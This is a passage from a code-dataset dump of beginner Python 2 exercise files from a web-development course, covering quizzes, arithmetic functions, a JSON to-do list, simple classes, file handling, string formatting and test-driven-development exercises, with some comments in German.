"src_encoding": "UTF-8",
"text": "import random\n\npunkte = 0\n\ncapitals = {\"France\": \"Paris\",\n \"Iceland\": \"Reykjavik\",\n \"Denmark\": \"Copenhagen\",\n \"Lithuania\": \"Vilnius\",\n \"Canada\": \"Ottawa\",\n \"Austria\": \"Vienna\"}\n\ncurrent_country = random.choice(capitals.keys())\n\nguess = raw_input(\"What is the capital of: \"+current_country+\" ?\")\n\nif guess.lower() == capitals[current_country].lower():\n punkte += 1\n print(\"correct\")\nelse:\n print(\"oh no, the capital of \" + current_country + \" is \" + capitals[current_country])\n\nprint(\"Du hast \", punkte, \"Punkte erreicht!\")\n"
},
{
"alpha_fraction": 0.5872340202331543,
"alphanum_fraction": 0.6148936152458191,
"avg_line_length": 17.799999237060547,
"blob_id": "e6f82ad10e13590233a1d6e9e78e913df26a2618",
"content_id": "2952bdeb8cf501f3b3f78d8af3cbbdc47ec1f0b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 470,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 25,
"path": "/python_00400_functions/example_01350_exercise_math_functions_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\ndef addition(x,y):\n return x + y\n\ndef subtraction(x,y):\n return x - y\n\ndef multiplication(x,y):\n return x * y\n\ndef division(x,y):\n return x / y\n\n# guard, protection from being executed on import\nif __name__ == '__main__':\n result = addition(10,23)\n print result\n result = subtraction(10,8)\n print result\n result = multiplication(4,2)\n print result\n result = division(27,3)\n print result\n"
},
{
"alpha_fraction": 0.5386046767234802,
"alphanum_fraction": 0.5404651165008545,
"avg_line_length": 26.564102172851562,
"blob_id": "b7aeda8b92d6375271e31a40b7a760de9a4b4006",
"content_id": "88c583c3dfd2a1a43c455b4ee3c53dee2c9bd31a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1075,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 39,
"path": "/python_00300_files_jsons_dicts/example_01230_exercise_todo_list_solution____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import json\n\n# Make a to-do list with dictionaries\n# CTRL-SHIFT-F search in entire project\n\nfilename = \"todolist.json\"\nwith open(filename, \"r\") as f:\n my_todo_list = json.load(f)\n\nwhile True:\n print \"*\"*20\n print \"n) Exit program\"\n print \"a) add to todo list\"\n print \"s) show todo list\"\n print \"t) show only not done entries\"\n user_input = raw_input(\"Choose an option: \")\n\n if user_input.lower() == \"n\":\n with open(filename, \"w\") as f:\n json.dump(my_todo_list, f)\n break\n\n elif user_input.lower() == \"a\":\n task = raw_input(\"Enter the new task: \")\n done_str = raw_input(\"Is it done? (y for yes): \")\n done = done_str.lower() == \"y\"\n my_todo_list[task] = done\n\n elif user_input.lower() == \"s\":\n for task, done in my_todo_list.items():\n if done:\n print task, \"done\"\n else:\n print task, \"not done\"\n\n elif user_input.lower() == \"t\":\n for task, done in my_todo_list.items():\n if not done:\n print task\n"
},
{
"alpha_fraction": 0.7244318127632141,
"alphanum_fraction": 0.7244318127632141,
"avg_line_length": 23.285715103149414,
"blob_id": "36f280528828eb920335acfd492f2c859282c5f9",
"content_id": "e4ca52c1ad8ebc6ebc0266c7aec9ceb4dd809690",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 352,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 14,
"path": "/python_00100_datatypes_calculator/example_00000_comments.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Comments start with a '#' character\r\n\r\n\"\"\"\r\nYou can write comments over multiple lines\r\nlike this, although this is only used for docstrings\r\n(docstrings are used to describe functions and classes after declaration)\r\n\"\"\"\r\n\r\n#\r\n# a more common way to use comments over\r\n# multiple lines\r\n# you can comment multiple lines in Pycharm with\r\n# CTRL + /\r\n#"
},
{
"alpha_fraction": 0.6423236727714539,
"alphanum_fraction": 0.6639004349708557,
"avg_line_length": 27.023256301879883,
"blob_id": "08a018c1234b261c48b349c9b23b51cb1fd2f62e",
"content_id": "11dfb840847d29f32412c3d6c50a7c551f9ea0fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1209,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 43,
"path": "/python_00500_classes/example_01622_classes_methods_exercise_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n\nimport datetime\nimport time\n# create a class bank account\n# it has 2 fields: name and balance\n# it has methods to withdraw and deposit and print_statement\n\n\nclass BankAccount(object):\n def __init__(self, name, balance):\n self.name = name\n self.balance = balance\n self.history = []\n\n def withdraw(self, amount):\n self.balance -= amount\n self.history.append(\"{}: {} withdrew {}€. \".format(datetime.datetime.now().isoformat(), self.name, amount))\n\n def deposit(self, amount):\n self.balance += amount\n self.history.append(\"{}: {} deposited {}€. \".format(datetime.datetime.now().isoformat(), self.name, amount))\n\n def statement(self):\n statement_text = \"\\n\".join(self.history)\n summary = \"The balance of {}'s Bankaccount is {}.\".format(self.name, self.balance)\n statement_text += \"\\n{}\".format(summary)\n return statement_text\n\n\nmy_account = BankAccount(\"Jacob\", 1500)\n\nmy_account.withdraw(500)\ntime.sleep(1)\nmy_account.deposit(1200)\ntime.sleep(1)\nmy_account.withdraw(135)\ntime.sleep(1)\nmy_account.withdraw(250)\ntime.sleep(1)\nmy_account.deposit(400)\nprint(my_account.balance)\nprint(my_account.statement())\n"
},
{
"alpha_fraction": 0.5687500238418579,
"alphanum_fraction": 0.581250011920929,
"avg_line_length": 21.85714340209961,
"blob_id": "fe9de2a09733da5423bd95cf4e65e36e52fc24ab",
"content_id": "0cb7a1ec76cc4db75464875f32928bc3c1cb071d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 320,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 14,
"path": "/python_00500_classes/example_01610_classes_instances.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "class Human(object):\n def __init__(self, age, name):\n self.age = age\n self.name = name\n\n\nif __name__ == '__main__':\n alfred = Human(19, \"alfred\")\n print alfred.age # access attributes with \".\"\n print alfred.name\n\n beatrix = Human(22, \"beatrix\")\n print beatrix.age\n print beatrix.name\n"
},
{
"alpha_fraction": 0.5444319248199463,
"alphanum_fraction": 0.546119213104248,
"avg_line_length": 25.893939971923828,
"blob_id": "6f769143ba963c361b23372d807c1a73f3c92d46",
"content_id": "9a65c0de4e0f25f051e343e1182d725c7ac5e936",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1778,
"license_type": "no_license",
"max_line_length": 179,
"num_lines": 66,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01000__auth_login/login.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import hmac\n\n\nif __name__ == '__main__':\n LOGINNAME = \"DUCK\"\n PASSWORD = \"P4ssw0rd\"\n PASSWORD_HASH = hmac.new(PASSWORD).hexdigest()\n print \"Hashed Password: {}\".format(PASSWORD_HASH)\n del PASSWORD\n\n while True:\n password = raw_input(\"Hello {}, enter password\".format(LOGINNAME))\n entered_password_hash = hmac.new(password).hexdigest()\n if PASSWORD_HASH == entered_password_hash:\n print \"Welcome Master!\"\n break\n else:\n print \"Intrusion Detected. WARNING!\"\n\n\n# Import smtplib for the actual sending function\nimport smtplib\n\n# Import the email modules we'll need\nfrom email.mime.text import MIMEText\n\nif __name__ == '__main__':\n\n gmail_user = '[email protected]'\n gmail_password = 'myPassword'\n\n try:\n server = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server.ehlo()\n server.login(gmail_user, gmail_password)\n except:\n print 'Something went wrong...'\n\n to_list = ['[email protected]',\n '[email protected]',\n '[email protected]',\n '[email protected]']\n\n\n while True:\n answer = raw_input('\\n\\n#################\\nDo you really want to send a message to following Emails:\\n######\\n%s\\n######\\nConfirm with [y]es, or [n]o:'%'\\n'.join(to_list))\n if 'y' in answer.lower():\n print 'Sending...'\n break\n if 'n' in answer.lower():\n print 'Exiting'\n exit()\n\n\n for t in to_list:\n textfile = \"Hey '%s', what\\'s up?\\n\\nMessage sent by EmailBot'\"%t\n msg = MIMEText(textfile)\n msg['Subject'] = 'SUBJECT'\n msg['From'] = gmail_user\n msg['To'] = t\n server.sendmail(gmail_user, [t], msg.as_string())\n print 'Sent to %s'%t\n\n server.quit()\n\n print 'All sent'\n\n\n\n"
},
{
"alpha_fraction": 0.6288415789604187,
"alphanum_fraction": 0.6595744490623474,
"avg_line_length": 14.107142448425293,
"blob_id": "3c8258ce2a2c52d390a7b2325af0004e6b19d210",
"content_id": "71b37c9ce6b346a74b10a955b6df06bf9e278f80",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 423,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 28,
"path": "/python_00400_functions/example_01400_math_func_src_without_guard.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\ndef addition(x, y):\n return x + y\n\n\ndef subtraction(x, y):\n return x - y\n\n\ndef multiplication(x, y):\n return x * y\n\n\ndef division(x, y):\n return x / y\n\n\n# guard, protection from being executed on import\nresult = addition(10, 23)\nprint result\nresult = subtraction(10, 8)\nprint result\nresult = multiplication(4, 2)\nprint result\nresult = division(27, 3)\nprint result\n"
},
{
"alpha_fraction": 0.681208074092865,
"alphanum_fraction": 0.681208074092865,
"avg_line_length": 28.799999237060547,
"blob_id": "f7566db4f3616c0c2e60daa2c59521573bb9a314",
"content_id": "80d63ccb14e7fe559e186df34ffe96a8e927e78e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 298,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 10,
"path": "/python_00300_files_jsons_dicts/example_01210_files_write_list_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# use the list: particles = [\"protons\", \"neutronen\", \"elektronen\"]\n# open a file and write the elements of the list seperated by a comma into the file\n\nparticles = [\"protonen\", \"neutronen\", \"elektronen\"]\n\nfile = \"physik.txt\"\n\nwith open(file, \"w\") as f:\n f.write(\", \".join(particles))\nprint file\n"
},
{
"alpha_fraction": 0.6906077265739441,
"alphanum_fraction": 0.6906077265739441,
"avg_line_length": 14.083333015441895,
"blob_id": "93d61dc3be0b1618032520266c076e879a61c750",
"content_id": "48ede36f6044e462e7f3b52466d0ff8a610e8c22",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 181,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 12,
"path": "/python_00300_files_jsons_dicts/example_01200_files_open.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "text = \"This text should be in a nice file\"\n\nfilename = \"my_text.txt\"\n\n# open file to read\nmy_file = open(filename)\n\nmy_lines = my_file.readlines()\n\nmy_file.close()\n\nprint my_lines\n"
},
{
"alpha_fraction": 0.6648044586181641,
"alphanum_fraction": 0.6703910827636719,
"avg_line_length": 24.571428298950195,
"blob_id": "0c284c1bfc79742f6a7074479e78051d688e1bf2",
"content_id": "e887fde0276c45bd4365524a0656f8234d90cf3b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 179,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 7,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_try_except_exercise_1.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# catch an error when translating a string to an integer\n# E.G. int(\"text\")\n\ntry:\n variable_1 = int(\"text\")\nexcept ValueError:\n print (\"You can't turn text into a number!\")\n"
},
{
"alpha_fraction": 0.665576159954071,
"alphanum_fraction": 0.6797528266906738,
"avg_line_length": 27.957895278930664,
"blob_id": "3d3942600261bde20da8338c7f5a2cc29b3e518c",
"content_id": "97dfef1d734b3efeec2ec076ee09264c9f6067ac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2751,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 95,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01683_university_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Part 1\n\n# create following classes: University, Student, Vorlesung\n# University hat\n# folgende Eigenschaften:\n# name und Studenten\n# folgende Methoden:\n# add_student() -> check, ob Student bereits registriert sind\n# remove_student()\n\nclass University():\n def __init__(self, name):\n self.name = name\n self.studenten = []\n\n def add_student(self, student):\n try:\n index_nr = self.studenten.index(student)\n if self.studenten[index_nr] == student:\n print \"Error, Person ist schon inskribiert\"\n except:\n print \"Person noch nicht inskribiert\"\n self.studenten.append(student)\n\n def remove_student(self, student):\n self.studenten.remove(student)\n\n# Studenten hat\n# folgende Eigenschaften:\n# matrikelnr, name, alter, vorlesungen\n# folgende Methoden:\n# add_vorlesung() -> check, ob VO bereits gebucht wurde,\n# get_identity() -> soll die Eingeschaften matrikelnr, name und alter zurueckliefern\n# get_vorlesung() -> die besuchten Vorlesungen zurueckliefern\n\nclass Student():\n def __init__(self, matrikelnr, name, alter):\n self.matrikelnr = matrikelnr\n self.name = name\n self.alter = alter\n self.vorlesungen = []\n\n def add_vorlesung(self, vorlesung):\n try:\n index_nr = self.vorlesungen.index(vorlesung)\n if self.vorlesungen[index_nr] == vorlesung:\n print \"Error, VO schon gebucht\"\n\n except:\n print \"VO noch nicht gebucht\"\n self.vorlesungen.append(vorlesung)\n\n def get_identity(self):\n return [self.matrikelnr, self.name, self.alter]\n\n def get_vorlesung(self):\n return self.vorlesungen\n\n\n# Vorlesung hat\n# folgende Eigenschaften:\n# kurs_nr, kurs_name\n# folgende Methoden\n# get_vorlesung_Data() -> soll die Eingenschaften als return Wert zurueckliefern\n\nclass Vorlesung():\n def __init__(self, kurs_nr, kurs_name):\n self.kurs_nr = kurs_nr\n self.kurs_name = kurs_name\n\n def get_vorlesung_data(self):\n return [self.kurs_nr, self.kurs_name]\n\n# Part 2\n# erstelle eine university: \"TU-Wien\"\n# erstelle zwei Vorlesungen: \"Maschinenbau\", \"Atomphysik\"\n# erstelle 2 Studenten mit belibigem Namen\n# weise der University die Studenten zu\n# weise den Studenten die Vorlesungen zu\n\nuniversity = University(\"TU-Wien\")\nprint university.name\n\nvorlesung1 = Vorlesung(123, \"Maschinenbau\")\nvorlesung2 = Vorlesung(234, \"Atomphysik\")\n\nstudent1 = Student(\"j234234\", \"peter\", 25)\nstudent2 = Student(\"j766779\", \"michael\", 27)\n\nuniversity.add_student(student1)\nuniversity.add_student(student2)\nstudent1.add_vorlesung(vorlesung1)\nstudent1.add_vorlesung(vorlesung2)\nstudent2.add_vorlesung(vorlesung2)\nstudent2.add_vorlesung(vorlesung2)\n"
},
{
"alpha_fraction": 0.5699300765991211,
"alphanum_fraction": 0.618881106376648,
"avg_line_length": 19.428571701049805,
"blob_id": "a2130ea4bc2630184260459e983626c6790869d9",
"content_id": "ab6bfc14e06489931730e2243b545d37ebb8c0c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 286,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 14,
"path": "/python_00400_functions/example_01360_functions_args_kwargs____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "def printer(*args, **kwargs):\n print args\n print kwargs\n print kwargs.get(\"gruss\")\n\n\nprinter(\"ahoi\", \"hello\", \"buenos diaos\", \"sevas\", gruss=\"hihi\", irgendwas=\"something\")\n\n\ndef superadder(*args):\n return sum(args)\n\n\nprint superadder(1, 2, 5, 6, 9, 3, 2, 5, 4, 2, 4, 9,10 )\n"
},
{
"alpha_fraction": 0.572519063949585,
"alphanum_fraction": 0.6049618124961853,
"avg_line_length": 14.903225898742676,
"blob_id": "becd86061b8d4e87d6cfee2c4eecb97e594cf79e",
"content_id": "29a09a8cb63feec31706a5746c1647b18853249f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 524,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 31,
"path": "/python_00100_datatypes_calculator/example_00430_operations_bools_if_statement_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# you have 2 numbers, 5 and 10\r\n# if the first is bigger than the second, print bigger\r\n# if the second is bigger, print smaller\r\n# otherwise print equal\r\nx = 5\r\ny = 10\r\nif x > y:\r\n print \"bigger\"\r\nelif y > x:\r\n print \"smaller\"\r\nelse:\r\n print \"equal\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# you have a variable called \"age\"\r\n# if age is smaller than 2, print baby\r\n# if age is between 2 and 18, print kid\r\n# otherwise print adult\r\nage = 25\r\nif age <= 2:\r\n print \"baby\"\r\nelif 2 < age < 18:\r\n print \"kid\"\r\nelse:\r\n print \"adult\"\r\n"
},
{
"alpha_fraction": 0.6107784509658813,
"alphanum_fraction": 0.613772451877594,
"avg_line_length": 29.363636016845703,
"blob_id": "1a0b46c1e3e57d565db31e39f384c7446945d07a",
"content_id": "06352d42fe60fc174c1a95e4ba863d61e79953dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 334,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 11,
"path": "/python_00300_files_jsons_dicts/example_01210_files_write_list.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "planets = [\"Merkur\", \"Venus\", \"Erde\", \"Mars\", \"Jupiter\"]\n\nfilename = \"planets.txt\"\n\nwith open(filename, \"w\") as f:\n content = \",\".join(planets) # join elements by adding a \",\" in-between\n f.write(content)\n\nwith open(filename, \"r\") as f:\n content = f.read()\n print content.split(\",\", 2) # seperate by \",\" and create list\n"
},
{
"alpha_fraction": 0.6770186424255371,
"alphanum_fraction": 0.6770186424255371,
"avg_line_length": 16.88888931274414,
"blob_id": "6b77d3a0dbd90b0a237ac26ce7e8bdf8ddc8f279",
"content_id": "be704fa705a3d508adcbbabe20102fdc622807d1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 161,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 9,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_try_except_exercise_1_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# catch an error when translating a string to an integer\n# E.G. int(\"text\")\n\ntry:\n int(\"abc\")\nexcept Exception:\n print \"Error\"\n\nprint \"Code is continuing\"\n"
},
{
"alpha_fraction": 0.6255506873130798,
"alphanum_fraction": 0.6387665271759033,
"avg_line_length": 22.321428298950195,
"blob_id": "bfb02327f30f18396392a93bcaf138bb69be7b55",
"content_id": "e3788feafefeee9d840a926befd7266f23f8124c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 681,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 28,
"path": "/python_00100_datatypes_calculator/example_00300_operations_strings.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "greeting = \"Hello World!\"\r\nname = \"Smartninja!\"\r\n\r\n# ADDING STRINGS (CONCAT)\r\nprint greeting\r\nprint greeting + \" - AI \"\r\n\r\n# MULTIPLYING STRINGS\r\nprint \"*\" * 20\r\n\r\n# PRINTING THEM BY INSERTING\r\nprint \"Greeting: %s, Name: %s\"%(greeting, name)\r\nprint \"Greeting: {}, Name: {}\".format(greeting, name)\r\n\r\n# CHECKING FOR (UN)EQUALITY\r\nprint greeting == name\r\nprint greeting == \"Hello World!\"\r\n\r\n# CHECKING FOR OCCURRENCE\r\nprint greeting in \"Hello World! is the first greeting in a computer language\"\r\n\r\n# WATCH OUT FOR USING THE CORRECT TYPES\r\nprint \"3\" + \"3\"\r\nprint int(\"3\") + int(\"3\")\r\nprint str(3)\r\n\r\n# print int(\"3\") + \"3\" # TypeError\r\n# print int(\"a\") # ValueError\r\n"
},
{
"alpha_fraction": 0.6948775053024292,
"alphanum_fraction": 0.6993318200111389,
"avg_line_length": 24.294116973876953,
"blob_id": "9f250d8660f15f9ae8f71cec4ea5724cab886393",
"content_id": "77e4d89c518d43bc8ce9b8ff70058a1d3ae17453",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 455,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 17,
"path": "/python_00100_datatypes_calculator/example_00300_operations_strings_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\r\n# mache einen string mit einem platzhalter\r\n# es ist ein begrüßungstring\r\n# der platzhalter wird mit einem namen aufgefüllt\r\n# und angezeigt\r\nname = \"Jacob Butschek\"\r\ngreeting = \"Hello\"\r\nprint greeting + \" \" + \"{}\".format(name)\r\n\r\n\r\n\r\n# mache einen string mit einem platzhalter\r\n# es ist ein begrüßungstring\r\n# mit 2 platzhaltern für vorname und nachname\r\nVorname = \"Jacob\"\r\nNachname = \"Butschek\"\r\nprint \"{} {}\".format(Vorname, Nachname)\r\n\r\n"
},
{
"alpha_fraction": 0.75,
"alphanum_fraction": 0.75,
"avg_line_length": 36,
"blob_id": "8b54a8027099a439e89c5ca77646d458c330563f",
"content_id": "24e97705225f7533722826822ca49723f3f30e9d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 76,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 2,
"path": "/python_00100_datatypes_calculator/example_00100_hello_world_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#print a string with the words Hello and your name\r\nprint \"Hello Patrick!\"\r\n"
},
{
"alpha_fraction": 0.6325757503509521,
"alphanum_fraction": 0.6325757503509521,
"avg_line_length": 21.636363983154297,
"blob_id": "f2ff63a89539e48d835eda8374b0cfb303bf714c",
"content_id": "6f49e155118381a2ec25c371896c665571c46154",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 264,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 11,
"path": "/python_00100_datatypes_calculator/example_00430_operations_bools_if_statement.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "is_waiting = True\r\nhas_time = True\r\n\r\nif is_waiting:\r\n print \"I am waiting\"\r\n print \"I am still waiting\"\r\n print \"I am still waiting\"\r\nelif not is_waiting and has_time:\r\n print \"I am not waiting and have time\"\r\nelse:\r\n print \"I am not waiting\"\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.5384615659713745,
"alphanum_fraction": 0.5384615659713745,
"avg_line_length": 25,
"blob_id": "ffcc750a43aa923a7ca8e73b201bf73e5d207499",
"content_id": "7808468f9478c88b3a4f544eccdb5b564e7ff0b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 104,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 4,
"path": "/python_00500_classes/example_01600_classes_create.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "class Human(object):\n def __init__(self, age, name):\n self.age = age\n self.name = name\n"
},
{
"alpha_fraction": 0.7061224579811096,
"alphanum_fraction": 0.7346938848495483,
"avg_line_length": 26.22222137451172,
"blob_id": "990c78c7608629779e68637038c95d9130558c19",
"content_id": "2b37a43cbe0e86790f5cf0363cc67c4c41b6e066",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 245,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 9,
"path": "/python_00400_functions/example_01510_random_functions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import random\n\n# please chech the python docu for more info:\n# https://docs.python.org/2/library/random.html\n\nprint random.sample(range(50), 5)\nprint random.choice([\"Hallo\", \"Ciao\", \"kikokiko\"])\nprint random.randint(1, 14)\nprint random.random()\n"
},
{
"alpha_fraction": 0.7042606472969055,
"alphanum_fraction": 0.7042606472969055,
"avg_line_length": 22.47058868408203,
"blob_id": "4c1392f5cad77d70c9cb489864539ddf3b74f284",
"content_id": "2a8a18e7b515ce36d14956ace9c16637ae1ab35a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 399,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 17,
"path": "/python_00300_files_jsons_dicts/example_01201_files_read_write_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# write a list with the ingredients salad, orange, mango\n# choose randomly an ingredient, and write it to a file called \"random_fruit.txt\"\n\nimport random\n\nfilename = \"random_fruit.txt\"\n\ningredients = [\"salad\", \"orange\", \"mango\"]\n\ningredient = random.choice(ingredients)\n\nwith open(filename, \"w\") as i:\n i.write(ingredient)\n\nwith open(filename, \"r\") as i:\n content = i.read()\n print content\n"
},
{
"alpha_fraction": 0.5627009868621826,
"alphanum_fraction": 0.6270096302032471,
"avg_line_length": 21.214284896850586,
"blob_id": "f66d45b9139822c5ee870f053a8434bcbdc890de",
"content_id": "6e34c5ff3da523bdd5e35524e28fa7662a6dba3b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 311,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 14,
"path": "/python_00400_functions/example_01430_tdd_create_tests.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Step 1:\n# for test driven development,\n# in a first step we create tests with the wished behaviour\n\n\ndef check_addition():\n assert addition(10, 20) == 30\n assert addition(10, -10) == 0\n assert addition(10.12, -2) == 8.12\n\n\nif __name__ == '__main__':\n check_addition()\n print \"Passed all tests\"\n"
},
{
"alpha_fraction": 0.7039473652839661,
"alphanum_fraction": 0.7105262875556946,
"avg_line_length": 17.25,
"blob_id": "a256699a1671a0f3e8dc777404c17cd45d58f776",
"content_id": "95b0f88e5b4f33aad0c59f47071b3cf9c8a11952",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 153,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 8,
"path": "/python_00100_datatypes_calculator/example_00100_hello_world.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#coding=utf-8\r\nprint \"Hello World!\"\r\n\r\n#\"Hello World!\" ist ein String\r\n#ein String ist eine Linie von Zeichen\r\n#bei print öffnet sich ein befehl\r\n\r\n#mit"
},
{
"alpha_fraction": 0.6725663542747498,
"alphanum_fraction": 0.6814159154891968,
"avg_line_length": 27.25,
"blob_id": "ba9bbc41984eaebf9a23f78904c7bd2cf8a4249a",
"content_id": "bb60c8a79469fd61d2e4c7ef44af4d0074c3a294",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 114,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 4,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_01010_for_loops_list.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# Schleife über alle Elemente einer Liste\nfor food in [\"bread\", \"butter\", \"milk\"]:\n print food\n"
},
{
"alpha_fraction": 0.6330645084381104,
"alphanum_fraction": 0.6774193644523621,
"avg_line_length": 16.714284896850586,
"blob_id": "07fa3b35015bae5ac6b1789ef5c27aa4dd2f4553",
"content_id": "c000d741b299a6a06f3a815ffe05ede3df345065",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 248,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 14,
"path": "/python_00400_functions/example_01435_tdd_exercise_3.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (3/3 part exercise)\n# TDD Exercise 3:\n# correct the function until it passes all the tests\n\n\nfrom example_01435_tdd_exercise_1 import check_substraction\n\n\ndef substraction(a, b):\n return a-b\n\n\nif __name__ == '__main__':\n substraction(5, 2)\n"
},
{
"alpha_fraction": 0.6777547001838684,
"alphanum_fraction": 0.6860706806182861,
"avg_line_length": 20.377777099609375,
"blob_id": "03e0bb21a878a7dfb619dc2887be0774d1d15827",
"content_id": "ea766bdeedba19da1bb4d36944b3039f177718b6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 962,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 45,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01682_calendar_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
